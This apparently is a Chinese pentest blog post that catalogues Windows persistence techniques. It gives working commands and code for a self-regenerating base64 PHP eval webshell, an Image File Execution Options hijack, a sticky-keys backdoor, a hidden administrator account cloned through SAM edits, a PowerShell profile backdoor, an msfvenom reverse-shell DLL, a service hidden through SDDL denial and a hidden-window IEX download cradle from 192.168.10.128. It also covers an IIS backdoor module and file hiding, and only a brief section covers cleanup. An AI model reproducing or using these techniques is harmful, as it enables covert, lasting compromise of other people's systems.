windows权限维持

文章目录

  • 不死马权限维持
  • 映像劫持技术
  • 策略组脚本维持
  • shift粘滞键后门
  • 建立影子账号
  • powershell配置文件后门
  • Monitor权限维持
  • 利用安全描述符隐藏服务后门进行权限维持
  • iis后门
  • window隐藏技术
  • 驱动级文件隐藏

不死马权限维持


ignore_user_abort(); //关掉浏览器,PHP脚本也可以继续执行.
set_time_limit(0);//通过set_time_limit(0)可以让程序无限制的执行下去
$interval = 5; // 每隔*秒运行
do {
$filename = 'test.php';
if(file_exists($filename)) {
echo "xxx";
}
else {
$file = fopen("test.php", "w");
$txt = "PD9waHAgZXZhbCgkX1BPU1RbY10pOz8+";//c
$txt=base64_decode($txt);
fwrite($file, $txt);
fclose($file);
}
sleep($interval);
} while (true);
?>

映像劫持技术

进入注册表

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Image File
Execution Options

在下面添加一项,这里的命名与后续要触发的可执行文件程序文件名一致,这里我新建coleak.exe为后门文件,然后在coleak.exe的右侧新建一个Debugger,在输入值的栏目中填入你的后门绝对路径径,修改一个文件的文件名为coleak.exe 双击 即可触发。

windows权限维持_第1张图片

运行命名为coleak.exe的文件时将会被替代为运行s.exe

策略组脚本维持

输入gpedit.msc 打开组策略,打开 windows设置 脚本 里面又关机和开机

在C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup上传s.exe(或者直接选择c盘中的s.exe), 启动时选择该文件即可

shift粘滞键后门

更改sethc.exe拥有者 为administrator

move C:\windows\system32\sethc.exe C:\windows\system32\sethc.exe.bak
Copy C:\s.exe C:\windows\system32\sethc.exe

建立影子账号

创建一个带$符号的账户,因为在常规cmd下是无法查看到的。

net user coleak$ p-0p-0p-0 /add
net localgroup administrators coleak$ /add
net users

打开注册表 HEKY_LOCAL_MACHINE\SAM\SAM\Domains\Account\User

3ea是coleak$用户 1F4是超级管理员的值

将1F4下F项的值复制到3ea下F项里面,替换原有数据。然后导出coleak$以及3EA

ner user moonsec$ /del 删除这个用户 再导入注册表 用户已经不显示在这个面板了。

powershell配置文件后门

Powershell配置文件其实就是一个powershell脚本,他可以在每次运行powershell的时候自动运行,所

以可以通过向该文件写入自定义的语句用来长期维持权限。

依次输入以下命令,查看当前是否存在配置文件。

echo $profile
# C:\Users\Administrator\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1
Test-path $profile
# False
New-Item -Path $profile -Type File –Force

设置1.bat

net user coleak 123456 /add & net localgroup administrators coleak /add
$string = 'Start-Process "C:\1.bat"'
$string | Out-File -FilePath $profile -Append
more $profile

Monitor权限维持

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.10.128 LPORT=12345 -f dll > shell.dll
copy C:\temp\shell.dll C:\Windows\System32\test.dll
cd C:\Windows\System32\
Monitor.exe

利用安全描述符隐藏服务后门进行权限维持

cmd创建自启动服务
sc create ".NET CLR Networking 3.5.0.0" binpath= "cmd.exe /k C:\s.exe" depend= Tcpip obj= Localsystem start= auto

sc sdset ".NET CLR Networking 3.5.0.0" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

查询不到服务

sc query |findstr ".NET CLR Networking 3.5.0.0"
get-service | findstr ".NET CLR Networking 3.5.0.0"
sc query ".NET CLR Networking 3.5.0.0"   #拒绝访问

修改注册表的DACL来拒绝对值的查询,达到隐藏异常值的效果

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services.NET CLR Networking 3.5.0.0

function Server-Sddl-Change{
[CmdletBinding()]
param
(
[parameter(Mandatory=$false)][String]$Name
)
$ROOT = "HKLM:\SYSTEM\CurrentControlSet\Services\"
$S = $ROOT+$NAME
$acl = Get-Acl $S
$acl.SetAccessRuleProtection($true, $false)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access = [System.Security.AccessControl.RegistryRights]"QueryValues"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Deny"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
$person = [System.Security.Principal.NTAccount]"Everyone"
$access =[System.Security.AccessControl.RegistryRights]"SetValue,CreateSubKey,EnumerateSu
bKeys,Notify,CreateLink,Delete,ReadPermissions,WriteKey,ExecuteKey,ReadKey,Chang
ePermissions,TakeOwnership"
$inheritance = [System.Security.AccessControl.InheritanceFlags]"None"
$propagation = [System.Security.AccessControl.PropagationFlags]"None"
$type = [System.Security.AccessControl.AccessControlType]"Allow"
$rule = New-Object System.Security.AccessControl.RegistryAccessRule( `
$person,$access,$inheritance,$propagation,$type)
$acl.AddAccessRule($rule)
Set-Acl $S $acl
}
powershell.exe -exec bypass -nop -w hidden -c "IEX((new-object net.webclient).downloadstring('http://192.168.10.128/1.ps1'));Server-Sddl-Change -Name '.NET CLR Networking 3.5.0.0'"

iis后门

web.config

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <modules>
			<add name="IIS_backdoor" type="IIS_backdoor_dll.IISModule" />
        </modules>
    </system.webServer>
</configuration>

在网站目录下新建一个bin文件夹 这个文件夹 存放dll集 把IIS_backdoor_dll.dll存放在这里面,打开 IIS_backdoor_shell 把网址填写进去即可执行命令

windows权限维持_第2张图片

window隐藏技术

Attrib +s +a +h +r s.exe

驱动级文件隐藏

Easy File Locker

如何清除?
1、查询服务状态: sc qc xlkfs
2、停止服务: net stop xlkfs 服务停止以后,经驱动级隐藏的文件即可显现
3、删除服务: sc delete xlkfs
4、删除系统目录下面的文件,重启系统,确认服务已经被清理了。
indow隐藏技术

你可能感兴趣的:(#,渗透测试,windows,web安全,网络安全,系统安全,安全)